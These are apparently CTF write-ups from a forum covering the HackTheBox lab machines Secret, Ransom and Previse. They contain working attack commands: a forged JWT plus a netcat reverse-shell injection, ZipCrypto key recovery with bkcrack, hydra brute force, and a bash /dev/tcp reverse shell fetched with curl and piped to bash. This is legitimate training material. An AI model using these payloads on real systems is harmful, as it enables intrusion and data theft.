that there are GitTools on github that we could use to dump data from it. ┌──(root💀kali)-[/opt/GitTools/Extractor] └─# ls extractor.sh README.md ┌──(root💀kali)-[/opt/GitTools/Extractor] └─# ./extractor.sh ~/Downloads/local-web dump ########### # Extractor is part of https://github.com/internetwache/GitTools # # Developed and maintained by @gehaxelt from @internetwache # # Use at your own risk. Usage might be illegal in certain circumstances. # Only for educational purposes! ########### At this point I did not know what to do with the dump. So I decided to proceed with the instructions given on the secret.htb website. #### Create a new user and login Looking back at the website there is a section to register user: We can try to register one: Unsuccessful, it requires us a name even though it was supplied... I realised I was missing Content-Type information in the POST request body. Now I need to fix the error by making the name longer. Nice, we registered a usr successfully. Now we could try to login. From the website, the instructions are the following: We got a JWT token after we logged-in. We can decode the token and analyze the contents. I thought a bit and decided to look through the dump for a "token" and "admin". I found that there is a user called "theadmin" and a JWT token. ┌──(root💀kali)-[/opt/GitTools/Extractor/dump] └─# grep -IR "admin" <deleted> 4-67d8da7a0e53d8fadeb6b36396d86cdcd4f6ec78/routes/forgot.js: if (name == 'theadmin') { 4-67d8da7a0e53d8fadeb6b36396d86cdcd4f6ec78/routes/forgot.js: role: "you are admin", <deleted> #grep -IR "TOKEN" 3-de0a46b5107a2f4d26e348303e76d85ae4870934/.env:TOKEN_SECRET = gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE In jwt.io we can edit the JWT token we got from the response message: 1. Paste the original token we got after we logged in. ![[jwt edit.PNG]] 2. Edit the name variable to be "theadmin" and within "VERIFY SIGNATURE" paste the JWT token we got from the TOKEN_SECRET. ![[jwt edit 1x.PNG]] Now copy the Encoded JWT token # Reverse Shell From previous enumeration, the creator hinted us about the .env being removed for security reasons. Additionally, the creator talks about the ability to get logs from the system. In private.js file it is said that we have to specify file name as the get parameter with the name file. ┌──(root💀kali)-[/opt/GitTools/Extractor] └─# curl 'http://10.10.11.120:3000/api/logs?file=%3brm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2>%261|nc+10.10.14.7+1234+>/tmp/f' -H "auth-token:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MThlNDMxMmZjMzIwNDA0NTlkNWUzMmQiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InRlc3RAYS5hZyIsImlhdCI6MTYzNjcxMzQ4OX0.d1oGnqiO62eT9DE79I9A0BsgBjM_eav6y-79Uzuxcio" ^[[3~curl: (52) Empty reply from server ┌──(root💀kali)-[~/Downloads/local-web/.git] └─# nc -nvlp 1234 1 ⨯ listening on [any] 1234 ... connect to [10.10.14.7] from (UNKNOWN) [10.10.11.120] 33086 /bin/sh: 0: can't access tty; job control turned off $ whoami dasith # Privilege Escalation Shell stabilisation $ python -c 'import pty;pty.spawn("/bin/bash")' /bin/sh: 6: python: not found $ python3 -c 'import pty;pty.spawn("/bin/bash")' dasith@secret:~/local-web$ export TERM=xterm export TERM=xterm dasith@secret:~/local-web$ ^Z zsh: suspended nc -nvlp 1234 ┌──(root💀kali)-[~/Downloads/local-web/.git] └─# stty raw -echo; fg 148 ⨯ 1 ⚙ [1] + continued nc -nvlp 1234 Look for setuid files. We find a file called "count". I recognise that this file is not a system one but a user file, so I have to investigate it. dasith@secret:~/local-web$ find / -perm -u=s -type f 2>/dev/null /usr/bin/pkexec /usr/bin/sudo /usr/bin/fusermount /usr/bin/umount /usr/bin/mount /usr/bin/gpasswd /usr/bin/su /usr/bin/passwd /usr/bin/chfn /usr/bin/newgrp /usr/bin/chsh /usr/lib/snapd/snap-confine /usr/lib/dbus-1.0/dbus-daemon-launch-helper /usr/lib/openssh/ssh-keysign /usr/lib/eject/dmcrypt-get-device /usr/lib/policykit-1/polkit-agent-helper-1 /opt/count /snap/snapd/13640/usr/lib/snapd/snap-confine /snap/snapd/13170/usr/lib/snapd/snap-confine /snap/core20/1169/usr/bin/chfn /snap/core20/1169/usr/bin/chsh /snap/core20/1169/usr/bin/gpasswd /snap/core20/1169/usr/bin/mount /snap/core20/1169/usr/bin/newgrp /snap/core20/1169/usr/bin/passwd /snap/core20/1169/usr/bin/su /snap/core20/1169/usr/bin/sudo /snap/core20/1169/usr/bin/umount /snap/core20/1169/usr/lib/dbus-1.0/dbus-daemon-launch-helper /snap/core20/1169/usr/lib/openssh/ssh-keysign /snap/core18/2128/bin/mount /snap/core18/2128/bin/ping /snap/core18/2128/bin/su /snap/core18/2128/bin/umount /snap/core18/2128/usr/bin/chfn /snap/core18/2128/usr/bin/chsh /snap/core18/2128/usr/bin/gpasswd /snap/core18/2128/usr/bin/newgrp /snap/core18/2128/usr/bin/passwd /snap/core18/2128/usr/bin/sudo /snap/core18/2128/usr/lib/dbus-1.0/dbus-daemon-launch-helper /snap/core18/2128/usr/lib/openssh/ssh-keysign /snap/core18/1944/bin/mount /snap/core18/1944/bin/ping /snap/core18/1944/bin/su /snap/core18/1944/bin/umount /snap/core18/1944/usr/bin/chfn /snap/core18/1944/usr/bin/chsh /snap/core18/1944/usr/bin/gpasswd /snap/core18/1944/usr/bin/newgrp /snap/core18/1944/usr/bin/passwd /snap/core18/1944/usr/bin/sudo /snap/core18/1944/usr/lib/dbus-1.0/dbus-daemon-launch-helper /snap/core18/1944/usr/lib/openssh/ssh-keysign dasith@secret:~/local-web$ cd /opt/ dasith@secret:/opt$ ls code.c count valgrind.log dasith@secret:/opt$ file count count: setuid ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=615b7e12374cd1932161a6a9d9a737a63c7be09a, for GNU/Linux 3.2.0, not stripped We see it is a binary file. I would use strings to analyse the contents of the binary: dasith@secret:/opt$ strings count /lib64/ld-linux-x86-64.so.2 libc.so.6 setuid exit readdir fopen closedir __isoc99_scanf strncpy __stack_chk_fail putchar fgetc strlen prctl getchar fputs fclose opendir getuid strncat __cxa_finalize __libc_start_main snprintf __xstat __lxstat GLIBC_2.7 GLIBC_2.4 GLIBC_2.2.5 _ITM_deregisterTMCloneTable __gmon_start__ _ITM_registerTMCloneTable u+UH []A\A]A^A_ Unable to open directory. ?????????? Total entries = %d Regular files = %d Directories = %d Symbolic links = %d Unable to open file. Please check if file exists and you have read privilege. Total characters = %d Total words = %d Total lines = %d Enter source file/directory name: %99s Save results a file? [y/N]: Path: Could not open %s for writing :*3$" GCC: (Ubuntu 9.3.0-17ubuntu1~20.04) 9.3.0 crtstuff.c deregister_tm_clones __do_global_dtors_aux completed.8060 __do_global_dtors_aux_fini_array_entry frame_dummy __frame_dummy_init_array_entry code.c __FRAME_END__ __init_array_end _DYNAMIC __init_array_start __GNU_EH_FRAME_HDR _GLOBAL_OFFSET_TABLE_ __libc_csu_fini __stat putchar@@GLIBC_2.2.5 strncpy@@GLIBC_2.2.5 _ITM_deregisterTMCloneTable _edata fclose@@GLIBC_2.2.5 opendir@@GLIBC_2.2.5 strlen@@GLIBC_2.2.5 __lxstat@@GLIBC_2.2.5 __stack_chk_fail@@GLIBC_2.4 getuid@@GLIBC_2.2.5 snprintf@@GLIBC_2.2.5 fputs@@GLIBC_2.2.5 strncat@@GLIBC_2.2.5 fgetc@@GLIBC_2.2.5 closedir@@GLIBC_2.2.5 __libc_start_main@@GLIBC_2.2.5 __data_start getchar@@GLIBC_2.2.5 __gmon_start__ __dso_handle _IO_stdin_used prctl@@GLIBC_2.2.5 __xstat@@GLIBC_2.2.5 readdir@@GLIBC_2.2.5 __libc_csu_init __bss_start main __lstat fopen@@GLIBC_2.2.5 __isoc99_scanf@@GLIBC_2.7 dircount exit@@GLIBC_2.2.5 __TMC_END__ _ITM_registerTMCloneTable setuid@@GLIBC_2.2.5 __cxa_finalize@@GLIBC_2.2.5 filecount .symtab .strtab .shstrtab .interp .note.gnu.property .note.gnu.build-id .note.ABI-tag .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rela.dyn .rela.plt .init .plt.got .plt.sec .text .fini .rodata .eh_frame_hdr .eh_frame .init_array .fini_array .dynamic .data .bss .comment We notice that it uses a couple of other files within the code. But I need a better view of the code: #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> #include <dirent.h> #include <sys/prctl.h> #include <sys/types.h> #include <sys/stat.h> #include <linux/limits.h> void dircount(const char *path, char *summary) { DIR *dir; char fullpath[PATH_MAX]; struct dirent *ent; struct stat fstat; int tot = 0, regular_files = 0, directories = 0, symlinks = 0; if((dir = opendir(path)) == NULL) { printf("\nUnable to open directory.\n"); exit(EXIT_FAILURE); } while ((ent = readdir(dir)) != NULL) { ++tot; strncpy(fullpath, path, PATH_MAX-NAME_MAX-1); strcat(fullpath, "/"); strncat(fullpath, ent->d_name, strlen(ent->d_name)); if (!lstat(fullpath, &fstat)) { if(S_ISDIR(fstat.st_mode)) { printf("d"); ++directories; } else if(S_ISLNK(fstat.st_mode)) { printf("l"); ++symlinks; } else if(S_ISREG(fstat.st_mode)) { printf("-"); ++regular_files; } else printf("?"); printf((fstat.st_mode & S_IRUSR) ? "r" : "-"); printf((fstat.st_mode & S_IWUSR) ? "w" : "-"); printf((fstat.st_mode & S_IXUSR) ? "x" : "-"); printf((fstat.st_mode & S_IRGRP) ? "r" : "-"); printf((fstat.st_mode & S_IWGRP) ? "w" : "-"); printf((fstat.st_mode & S_IXGRP) ? "x" : "-"); printf((fstat.st_mode & S_IROTH) ? "r" : "-"); printf((fstat.st_mode & S_IWOTH) ? "w" : "-"); printf((fstat.st_mode & S_IXOTH) ? "x" : "-"); } else { printf("??????????"); } printf ("\t%s\n", ent->d_name); } closedir(dir); snprintf(summary, 4096, "Total entries = %d\nRegular files = %d\nDirectories = %d\nSymbolic links = %d\n", tot, regular_files, directories, symlinks); printf("\n%s", summary); } void filecount(const char *path, char *summary) { FILE *file; char ch; int characters, words, lines; file = fopen(path, "r"); if (file == NULL) { printf("\nUnable to open file.\n"); printf("Please check if file exists and you have read privilege.\n"); exit(EXIT_FAILURE); } characters = words = lines = 0; while ((ch = fgetc(file)) != EOF) { characters++; if (ch == '\n' || ch == '\0') lines++; if (ch == ' ' || ch == '\t' || ch == '\n' || ch == '\0') words++; } if (characters > 0) { words++; lines++; } snprintf(summary, 256, "Total characters = %d\nTotal words = %d\nTotal lines = %d\n", characters, words, lines); printf("\n%s", summary); } int main() { char path[100]; int res; struct stat path_s; char summary[4096]; printf("Enter source file/directory name: "); scanf("%99s", path); getchar(); stat(path, &path_s); if(S_ISDIR(path_s.st_mode)) dircount(path, summary); else filecount(path, summary); // drop privs to limit file write setuid(getuid()); // Enable coredump generation prctl(PR_SET_DUMPABLE, 1); printf("Save results a file? [y/N]: "); res = getchar(); if (res == 121 || res == 89) { printf("Path: "); scanf("%99s", path); FILE *fp = fopen(path, "a"); if (fp != NULL) { fputs(summary, fp); fclose(fp); } else { printf("Could not open %s for writing\n", path); } } return 0; } At this point I was quite stuck. Could not figure it out but got a nudge by a fellow hacker and was told to look for something that is "dumpable". So I did and found the following line within the code: ```prctl(PR_SET_DUMPABLE, 1);``` https://man7.org/linux/man-pages/man2/prctl.2.html - According to the man page of prctl PR_SET_DUMPABLE when the state is set, it produces a core dump under specific conditions. A quick google search leads me to a stackoverflow post where the person explains that a core dump could be generated by an error. So I thought about crashing the process and analysing the core dump file. For the purpose, I first created a 2nd reverse shell from which I will initiate a kill command. ![[core dump.PNG]] This thread explained me how I can read a crash file: https://askubuntu.com/questions/434431/how-can-i-read-a-crash-file-from-var-crash dasith@secret:/opt$ cd /var/crash dasith@secret:/var/crash$ ll total 88 drwxrwxrwt 2 root root 4096 Nov 12 13:44 ./ drwxr-xr-x 14 root root 4096 Aug 13 05:12 ../ -rw-r----- 1 root root 27203 Oct 6 18:01 _opt_count.0.crash -rw-r----- 1 dasith dasith 28108 Nov 12 13:44 _opt_count.1000.crash -rw-r----- 1 root root 24048 Oct 5 14:24 _opt_countzz.0.crash dasith@secret:/var/crash$ mkdir /tmp/crashdump dasith@secret:/var/crash$ apport-unpack _opt_count.1000.crash /tmp/crashdump/ dasith@secret:/var/crash$ cd /tmp/crashdump/ dasith@secret:/tmp/crashdump$ ls Architecture DistroRelease ProblemType ProcEnviron Signal CoreDump ExecutablePath ProcCmdline ProcMaps Uname Date ExecutableTimestamp ProcCwd ProcStatus UserGroups Analysing the CoreDump file: dasith@secret:/tmp/crashdump$ strings CoreDump CORE CORE count ./count -p IGISCORE CORE ELIFCORE /opt/count /opt/count /opt/count /opt/count /opt/count /usr/lib/x86_64-linux-gnu/libc-2.31.so /usr/lib/x86_64-linux-gnu/libc-2.31.so /usr/lib/x86_64-linux-gnu/libc-2.31.so /usr/lib/x86_64-linux-gnu/libc-2.31.so /usr/lib/x86_64-linux-gnu/libc-2.31.so /usr/lib/x86_64-linux-gnu/libc-2.31.so /usr/lib/x86_64-linux-gnu/ld-2.31.so /usr/lib/x86_64-linux-gnu/ld-2.31.so /usr/lib/x86_64-linux-gnu/ld-2.31.so /usr/lib/x86_64-linux-gnu/ld-2.31.so /usr/lib/x86_64-linux-gnu/ld-2.31.so CORE //////////////// Path: Could LINUX //////////////// Path: Could /lib64/ld-linux-x86-64.so.2 libc.so.6 setuid exit readdir fopen closedir __isoc99_scanf strncpy __stack_chk_fail putchar fgetc strlen prctl getchar fputs fclose opendir getuid strncat __cxa_finalize __libc_start_main snprintf __xstat __lxstat GLIBC_2.7 GLIBC_2.4 GLIBC_2.2.5 _ITM_deregisterTMCloneTable __gmon_start__ _ITM_registerTMCloneTable Unable to open directory. ?????????? Total entries = %d Regular files = %d Directories = %d Symbolic links = %d Unable to open file. Please check if file exists and you have read privilege. Total characters = %d Total words = %d Total lines = %d Enter source file/directory name: %99s Save results a file? [y/N]: Path: Could not open %s for writing :*3$" Path: esults a file? [y/N]: words = 2 Total lines = 2 oot/root.txt <edited>c0572f41284ab<edited> aliases ethers group It seems, we have the root.txt file contents.
  13. h3xu

    Ransom

    # Enumeration #### nmap PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 ea:84:21:a3:22:4a:7d:f9:b5:25:51:79:83:a4:f5:f2 (RSA) | 256 b8:39:9e:f4:88:be:aa:01:73:2d:10:fb:44:7f:84:61 (ECDSA) |_ 256 22:21:e9:f4:85:90:87:45:16:1f:73:36:41:ee:3b:32 (ED25519) 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) | http-methods: |_ Supported Methods: GET HEAD OPTIONS |_http-server-header: Apache/2.4.41 (Ubuntu) | http-title: Admin - HTML5 Admin Template |_Requested resource was http://10.10.11.153/login |_http-favicon: Unknown favicon MD5: D41D8CD98F00B204E9800998ECF8427E Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel # Authentication Bypass when you inspect the header of the request you see that it uses a GET request to the api/login but if you change the request to post it changes the error message and the body of the message. Using GET request with POST parameter body as application/json {"password":true} will return login success. Reloading the page will log you in. # Reverse shell there are two files a zip and a user.txt flag. The zip is password protected so I am bruteforcing it: ┌──(root💀kali)-[~/Downloads] └─# zip2john uploaded-file-3422.zip > zip.uploaded 130 ⨯ ver 2.0 efh 5455 efh 7875 uploaded-file-3422.zip/.bash_logout PKZIP Encr: 2b chk, TS_chk, cmplen=170, decmplen=220, crc=6CE3189B ver 2.0 efh 5455 efh 7875 uploaded-file-3422.zip/.bashrc PKZIP Encr: 2b chk, TS_chk, cmplen=1752, decmplen=3771, crc=AB254644 ver 2.0 efh 5455 efh 7875 uploaded-file-3422.zip/.profile PKZIP Encr: 2b chk, TS_chk, cmplen=404, decmplen=807, crc=D1B22A87 ver 1.0 uploaded-file-3422.zip/.cache/ is not encrypted, or stored with non-handled compression type ver 1.0 efh 5455 efh 7875 uploaded-file-3422.zip/.cache/motd.legal-displayed PKZIP Encr: 2b chk, TS_chk, cmplen=12, decmplen=0, crc=0 ver 1.0 efh 5455 efh 7875 uploaded-file-3422.zip/.sudo_as_admin_successful PKZIP Encr: 2b chk, TS_chk, cmplen=12, decmplen=0, crc=0 ver 1.0 uploaded-file-3422.zip/.ssh/ is not encrypted, or stored with non-handled compression type ver 2.0 efh 5455 efh 7875 uploaded-file-3422.zip/.ssh/id_rsa PKZIP Encr: 2b chk, TS_chk, cmplen=1990, decmplen=2610, crc=38804579 ver 2.0 efh 5455 efh 7875 uploaded-file-3422.zip/.ssh/authorized_keys PKZIP Encr: 2b chk, TS_chk, cmplen=475, decmplen=564, crc=CB143C32 ver 2.0 efh 5455 efh 7875 uploaded-file-3422.zip/.ssh/id_rsa.pub PKZIP Encr: 2b chk, TS_chk, cmplen=475, decmplen=564, crc=CB143C32 ver 2.0 efh 5455 efh 7875 uploaded-file-3422.zip/.viminfo PKZIP Encr: 2b chk, TS_chk, cmplen=581, decmplen=2009, crc=396B04B4 NOTE: It is assumed that all files in each archive have the same password. If that is not the case, the hash may be uncrackable. To avoid this, use option -o to pick a file at a time. ┌──(root💀kali)-[~/Downloads] └─# john --format=pkzip zip.uploaded 1 ⨯ Using default input encoding: UTF-8 Loaded 1 password hash (PKZIP [32/64]) Will run 4 OpenMP threads Proceeding with single, rules:Single Press 'q' or Ctrl-C to abort, almost any other key for status Warning: Only 7 candidates buffered for the current salt, minimum 8 needed for performance. Warning: Only 3 candidates buffered for the current salt, minimum 8 needed for performance. Almost done: Processing the remaining buffered candidate passwords, if any. Warning: Only 2 candidates buffered for the current salt, minimum 8 needed for performance. Proceeding with wordlist:/usr/share/john/password.lst, rules:Wordlist Proceeding with incremental:ASCII the attack was unsuccessful. I found this on medium: https://medium.com/@whickey000/how-i-cracked-conti-ransomware-groups-leaked-source-code-zip-file-e15d54663a87z apparently can be used to extract a lot of info about hte contents: ┌──(root💀kali)-[~/Downloads] └─# 7z l -slt uploaded-file-3422.zip|less Path = .bash_logout Folder = - Size = 220 Packed Size = 170 Modified = 2020-02-25 08:03:22 Created = Accessed = Attributes = _ -rw-r--r-- Encrypted = + Comment = CRC = 6CE3189B Method = ZipCrypto Deflate Host OS = Unix Version = 20 Volume Index = 0 The encryption method is ZipCrypto and the hash to confirm the result is CRC. The attack used here will only work against ZipCrypto. The attack involves finding a file with the same text as any file in the archive, and abusing that to recover the entire archive, and potentially even the password. First we will compare two files one from my local kali and one from the archive by comparing the hash: In this case i am comparing .bash_logout because the file is rarely changed and it's 220 kb just as the file from the archive. ┌──(root💀kali)-[~/Downloads] └─# python3 Python 3.9.2 (default, Feb 28 2021, 17:03:44) [GCC 10.2.1 20210110] on linux Type "help", "copyright", "credits" or "license" for more information. >>> import binascii >>> with open('/home/kali/.bash_logout', 'rb') as f: ... data = f.read() ... >>> data b'# ~/.bash_logout: executed by bash(1) when login shell exits.\n\n# when leaving the console clear the screen to increase privacy\n\nif [ "$SHLVL" = 1 ]; then\n [ -x /usr/bin/clear_console ] && /usr/bin/clear_console -q\nfi\n' >>> hex(binascii.crc32(data) & 0xFFFFFFFF) '0x6ce3189b' >>> we see that the two files crc32 is exactly the same = "0x6ce3189b" 1. make a copy of your local .bash_logout ┌──(root💀kali)-[/home/kali] └─# cp .bash_logout bash_logout 2. zip the copy under the name of plain.zip ┌──(root💀kali)-[/home/kali] └─# zip plain.zip bash_logout adding: bash_logout (deflated 28%) 3. use bkcrack to retrieve the keys ┌──(root💀kali)-[/home/kali] └─# /opt/bkcrack/install/bkcrack -C ~/Downloads/uploaded-file-3422.zip -c .bash_logout -P plain.zip -p bash_logout 1 ⨯ bkcrack 1.3.5 - 2022-03-23 [11:10:29] Z reduction using 150 bytes of known plaintext 100.0 % (150 / 150) [11:10:30] Attack on 57097 Z values at index 7 Keys: 7b549874 ebc25ec5 7e465e18 78.6 % (44881 / 57097) [11:11:54] Keys 7b549874 ebc25ec5 7e465e18 4. use bkcrack with the retrieved keys to create a copy of the protected zip and assign it new pass. ┌──(root💀kali)-[/home/kali] └─# /opt/bkcrack/install/bkcrack -C ~/Downloads/uploaded-file-3422.zip -k 7b549874 ebc25ec5 7e465e18 -U new-pass-file.zip 1234 bkcrack 1.3.5 - 2022-03-23 [11:15:30] Writing unlocked archive new-pass-file.zip with password "1234" 100.0 % (9 / 9) Wrote unlocked archive. 5. unzip the new file with the new password: ┌──(root💀kali)-[/home/kali] └─# unzip new-pass-file.zip Archive: new-pass-file.zip [new-pass-file.zip] .bash_logout password: replace .bash_logout? [y]es, [n]o, [A]ll, [N]one, [r]ename: y inflating: .bash_logout replace .bashrc? [y]es, [n]o, [A]ll, [N]one, [r]ename: y inflating: .bashrc replace .profile? [y]es, [n]o, [A]ll, [N]one, [r]ename: y inflating: .profile extracting: .cache/motd.legal-displayed extracting: .sudo_as_admin_successful creating: .ssh/ inflating: .ssh/id_rsa inflating: .ssh/authorized_keys inflating: .ssh/id_rsa.pub inflating: .viminfo ssh with the id_rsa as user htb ( you can see htb user in id_rsa.pub) # Privesc ╔══════════╣ Searching passwords in config PHP files 'password' => 'P@ssw0rd1!', ╔══════════╣ SGID ╚ https://book.hacktricks.xyz/linux-unix/privilege-escalation#sudo-and-suid -rwsr-sr-x 1 daemon daemon 55K Nov 12 2018 /usr/bin/at ---> RTru64_UNIX_4.0g(CVE-2002-1614) ╔══════════╣ SUID - Check easy privesc, exploits and write perms ╚ https://book.hacktricks.xyz/linux-unix/privilege-escalation#sudo-and-suid strings Not Found -rwsr-sr-x 1 daemon daemon 55K Nov 12 2018 /usr/bin/at ---> RTru64_UNIX_4.0g(CVE-2002-1614) -rwsr-xr-x 1 root root 39K Mar 7 2020 /usr/bin/fusermount -rwsr-xr-x 1 root root 163K Jan 19 2021 /usr/bin/sudo ---> check_if_the_sudo_version_is_vulnerable -rwsr-xr-x 1 root root 44K Jul 14 2021 /usr/bin/newgrp ---> HP-UX_10.20 -rwsr-xr-x 1 root root 67K Feb 7 13:33 /usr/bin/su -rwsr-xr-x 1 root root 55K Feb 7 13:33 /usr/bin/mount ---> Apple_Mac_OSX(Lion)_Kernel_xnu-1699.32.7_except_xnu-1699.24.8 -rwsr-xr-x 1 root root 39K Feb 7 13:33 /usr/bin/umount ---> BSD/Linux(08-1996) -rwsr-xr-x 1 root root 84K Jul 14 2021 /usr/bin/chfn ---> SuSE_9.3/10 -rwsr-xr-x 1 root root 52K Jul 14 2021 /usr/bin/chsh -rwsr-xr-x 1 root root 87K Jul 14 2021 /usr/bin/gpasswd -rwsr-xr-x 1 root root 67K Jul 14 2021 /usr/bin/passwd ---> Apple_Mac_OSX(03-2006)/Solaris_8/9(12-2004)/SPARC_8/9/Sun_Solaris_2.3_to_2.5.1(02-1997) -rwsr-xr-x 1 root root 31K Feb 21 12:58 /usr/bin/pkexec ---> Linux4.10_to_5.1.17(CVE-2019-13272)/rhel_6(CVE-2011-1485) ╔══════════╣ Sudo version ╚ https://book.hacktricks.xyz/linux-unix/privilege-escalation#sudo-version Sudo version 1.8.31 Vulnerable to CVE-2021-3560 because the website parses the password in the url it probably saves logs somewhere and makes comparisson somewhere locally, so i searched for invalid password in: htb@ransom:~$ cd /srv/prod htb@ransom:/srv/prod$ grep -r "Invalid Password" app/Http/Controllers/AuthController.php: return "Invalid Password"; next i analyse the file authcontroller.php htb@ransom:/srv/prod$ cat app/Http/Controllers/AuthController.php [....snip.....] if ($request->get('password') == "UHC-March-Global-PW!") { session(['loggedin' => True]); return "Login Successful"; } return "Invalid Password"; } The password is UHC-March-Global-PW! htb@ransom:/srv/prod$ su root Password: root@ransom:/srv/prod# whoami root ```
  14. h3xu

    Previse

    # Enumeration #### NMAP PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 53:ed:44:40:11:6e:8b:da:69:85:79:c0:81:f2:3a:12 (RSA) | 256 bc:54:20:ac:17:23:bb:50:20:f4:e1:6e:62:0f:01:b5 (ECDSA) |_ 256 33:c1:89:ea:59:73:b1:78:84:38:a4:21:10:0c:91:d8 (ED25519) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) |_http-favicon: Unknown favicon MD5: B21DD667DF8D81CAE6DD1374DD548004 | http-title: Previse Login |_Requested resource was login.php | http-cookie-flags: | /: | PHPSESSID: |_ httponly flag not set | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-server-header: Apache/2.4.29 (Ubuntu) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel #### Dirbuster on port 80 ![[HackTheBox Notes/Linux/Previse/dirbuster.PNG]] The discovery of the found directories allowed me to analise the said directories in burp. #### BurpSuite: Account creation page: ![[acc creation.PNG]] Let's try to create one. It says I need to provide a username, even though such is provided. Perhaps I have to change something... ![[acc creation 1x.PNG]] Files on previse.htb. Discovered a siteBackup.zip file and a username "newguy". ![[files.PNG]] Additionally download.php allows us to download files but also, we see that there is a possibility for a LFI in "?file=" . Tried downloading the file with no success through the use of *curl*. In the status file we can see that there is 1 administrator account and 1 file (probably the zip backup file). Additionally, mysql is online and connected - I have to investigate that as well. Tried connecting to it and got an error because I have to be locally on to the machine in order to be able to connect to the database: "ERROR 2002 (HY000): Can't connect to MySQL server on '10.10.11.104' (115)" ![[status.PNG]] #### Hydra on login.php I have found a username, perhaps I could try to bruteforce it with hydra. The bruteforce was unsuccessful, no password was found. ┌──(root💀kali)-[~] └─# hydra -l newguy -P /usr/share/wordlists/rockyou.txt 10.10.11.104 http-post-form "/login.php:username=newguy&password=^PASS^:Invalid Username or Password" 255 ⨯ Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway). Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-11-16 10:04:13 [DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task [DATA] attacking http-post-form://10.10.11.104:80/login.php:username=newguy&password=^PASS^:Invalid Username or Password [STATUS] 2205.00 tries/min, 2205 tries in 00:01h, 14342194 to do in 108:25h, 16 active #### Recuperate, rethink, adapt At this point I had to rethink what I am doing as I was stuck on foothold for quite a while. Decided to go back on account creation and try to modify the POST request body. Finally, I was able to create a new account: ![[acc creation 2x.PNG]] #### Backup Zip At this point, I logged in as the *test123* user we created and downloaded the *backup.zip* file. The zip contained the following files: ┌──(root💀kali)-[~/Downloads/siteBackup] └─# ls accounts.php config.php download.php file_logs.php files.php footer.php header.php index.php login.php logout.php logs.php nav.php status.php Analyzing them 1 by 1, I found mysql credentials in *config.php*. This I will be using once I get a foothold onto the machine. ┌──(root💀kali)-[~/Downloads/siteBackup] └─# cat config.php <?php function connectDB(){ $host = 'localhost'; $user = 'root'; $passwd = 'mySQL_p@ssw0rd!:)'; $db = 'previse'; $mycon = new mysqli($host, $user, $passwd, $db); return $mycon; } ?> Tried sshing with the same credentials but got wrong password. I kept enumerating.```bash ┌──(root💀kali)-[~/Downloads/siteBackup] └─# cat logs.php <?php session_start(); if (!isset($_SESSION['user'])) { header('Location: login.php'); exit; } ?> <?php if (!$_SERVER['REQUEST_METHOD'] == 'POST') { header('Location: login.php'); exit; } ///////////////////////////////////////////////////////////////////////////////////// //I tried really hard to parse the log delims in PHP, but python was SO MUCH EASIER// ///////////////////////////////////////////////////////////////////////////////////// $output = exec("/usr/bin/python /opt/scripts/log_process.py {$_POST['delim']}"); echo $output; $filepath = "/var/www/out.log"; $filename = "out.log"; if(file_exists($filepath)) { header('Content-Description: File Transfer'); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($filepath).'"'); header('Expires: 0'); header('Cache-Control: must-revalidate'); header('Pragma: public'); header('Content-Length: ' . filesize($filepath)); ob_clean(); // Discard data in the output buffer flush(); // Flush system headers readfile($filepath); die(); } else { http_response_code(404); die(); } ?> The code is vulnerable! Within the line ```$output = exec("/usr/bin/python /opt/scripts/log_process.py {$_POST['delim']}"); echo $output;``` we see that it uses system commands and reflects them back. The delim variable is injectable so we could use it to invoke a reverse shell. # Foothold ![[HackTheBox Notes/Linux/Previse/reverse.PNG]] In the above code, I have used the & operand to concatenate another system command *curl* to curl my reverse shell file which I am hosting with a python script and pipe the script to bash therefore I should get a reverse shell. 1. Create your reverse shell file: ┌──(root💀kali)-[~/php-reverse-shell] └─# nano revshell.sh #!/bin/bash bash -i >& /dev/tcp/YOUR IP/1234 0>&1 ┌──(root💀kali)-[~/php-reverse-shell] └─# chmod u+x revshell.sh 2. Host the reverse shell script: ┌──(root💀kali)-[~/php-reverse-shell] └─# python3 -m http.server 80 Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ... 3. Open a netcat listener to catch the connection (also don't forget to edit the php-reverse-shell file to point to your IP address and specify a port as well) ┌──(root💀kali)-[~/Downloads/siteBackup] └─# nc -nvlp 1234 130 ⨯ listening on [any] 1234 ... 4. Make the call by sending the requerst from burp and catch the connection ┌──(root💀kali)-[~/php-reverse-shell] └─# nc -nvlp 1234 listening on [any] 1234 ... connect to [10.10.14.7] from (UNKNOWN) [10.10.11.104] 51000 bash: cannot set terminal process group (1494): Inappropriate ioctl for device bash: no job control in this shell www-data@previse:/var/www/html$ #### Stabilise your shell www-data@previse:/var/www/html$ python -c 'import pty;pty.spawn("/bin/bash")' python -c 'import pty;pty.spawn("/bin/bash")' www-data@previse:/var/www/html$ export TERM=xterm export TERM=xterm www-data@previse:/var/www/html$ ^Z zsh: suspended nc -nvlp 1234 ┌──(root💀kali)-[~/php-reverse-shell] └─# stty raw -echo; fg 148 ⨯ 1 ⚙ [1] + continued nc -nvlp 1234 